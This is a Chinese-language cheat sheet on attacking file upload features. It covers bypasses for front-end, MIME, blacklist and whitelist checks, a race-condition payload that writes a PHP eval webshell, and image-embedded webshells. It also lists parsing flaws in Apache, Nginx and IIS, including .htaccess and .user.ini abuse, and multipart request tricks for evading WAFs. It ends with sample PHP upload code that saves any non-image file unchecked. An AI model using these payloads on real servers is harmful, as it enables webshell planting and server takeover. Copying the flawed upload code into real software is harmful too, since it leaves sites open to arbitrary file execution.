文件上传漏洞
1.绕过
前端检测
改前端代码(onsubmit是提交表单时执行的事件)
传合法文件抓包再修改
MIME检测
改Content-Type(image/jpeg、png、gif)
黑名单检测
大小写、双写、Win自动去除shell.php. .、Win的NTFS特性shell.php::$data
move_upload_file()储存文件时会忽略末尾/.所以加/.
其他后缀:php2-5、phtml、pwml,asp、aspx、ascx、ashx、asa、cer、cdx、jsp、jspx、jspf、html、htm、sthml、shtm
白名单检测
00截断(PHP<5.3,shell.php[00].jpg,路径可控、没有转义)
图马(copy 1.gif /b + Shell.php /a 2.gif)、图马二次渲染
图片头,getimagesize()会先检测图片头再获取大小,开头加一行GIF89A
条件竞争
文件被删除前访问<?php file_put_contents('shell.php', '<?php @eval($_POST[1]);?>');?>
数组绕过,例:
传入name[0]='shell.php'、name[2]='jpg'
后端只检测了最后一个元素
组合时shell.php.与name[长度2-1=1]为空组合
文件内容检测
WebShell免杀
2.解析漏洞
Apache
从右向左判断格式,不可识别再向左,传shell.php.xxx
httpd.conf配置AddType application/x-httpd-php .x,.x解析为PHP,尝试.phtml、.php2、.php3、.php4、.php5
httpd.conf配置AddHandler php5-script .x,文件名包含.x解析为PHP,传shell.x.jpg
换行解析漏洞2.4.0-2.4.29,传shell.php[0a],访问shell.php%0a
传.htaccess(目录下的配置文件)
写入AddType application/x-httpd-php .x
写入AddHandler php5-script .x
文件名包含shell解析为php(必须换行),写入:
<FilesMatch "shell">
SetHandler application/x-httpd-php
</FilesMatch>
传.user.ini(目录下的配置文件)
目录下的PHP都包含这个图片
写入auto_prepend_file=shell.jpg或auto_append_file=shell.jpg
Nginx
畸形解析漏洞,配置cgi.fix_pathinfo=1,访问shell.jpg/.php
一些版本,访问shell.jpg%00.php
文件名逻辑漏洞,一些版本,传shell.jpg [00].php,访问shell.jpg \0.php
IIS
开启WebDAV支持多种请求,尝试put写一句话
5.x、6.x:
;会截断,传shell.asp;.jpg
目录解析漏洞,*.asp *.asa *.cer文件夹内的所有文件均解析为ASP
还有三种后端格式.asa .cer .cdx
7.0、7.5
畸形解析漏洞,配置cgi.fix_pathinfo=1,访问shell.jpg/.php
3.WAF绕过
服务器特性
参数污染
filename="1.jpg"; filename="shell.asp"
------WebKitFormBoundaryDHRABxol0PGpDIod
Content-Disposition: form-data; name="file"; filename="1.jpg"
Content-Type: image/jpeg
123
------WebKitFormBoundaryDHRABxol0PGpDIod
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: image/jpeg
shell
WAF特性
逻辑漏洞
filename="shell.p换行hp"
filename==="shell.php"
filename="shell;.php"
filename="shell'.php"
filename='shell.php'
filename='shell.php
filename=shell.php
content-Disposition: Form-data; name="file"; filename="shell.php"
content-Type: image/jpeg
Content-Disposition:form-data; name="file"; filename="shell.php"
Content-Type:image/jpeg
其他漏洞
溢出:shell......asp
4.PHP 文件上传实现
<form action="upload_file.php" method="post" enctype="multipart/form-data">
<input type="file" name="file"/>
<input type="submit"/>
</form>
<?php
header('Content-Type:text/html;charset=utf-8');
echo '文件名:'.$_FILES['file']['name'];
$array = explode('.', $_FILES['file']['name']);
echo '<br>后缀:'.end($array);
echo '<br>MIME:'.$_FILES['file']['type'];
echo '<br>文件大小:'.$_FILES['file']['size'].' Byte';
echo '<br>临时文件路径:'.$_FILES['file']['tmp_name'];
if (getimagesize($_FILES['file']['tmp_name'])) { // 检查文件头
if (end($array) == 'jpg') {
$new_img = imagecreatefromjpeg($_FILES['file']['tmp_name']); // 二次渲染
imagejpeg($new_img, $_FILES['file']['name']); // 保存图片
}
}
else {
move_uploaded_file($_FILES['file']['tmp_name'], $_FILES['file']['name']); // 保存文件
}
5.CTF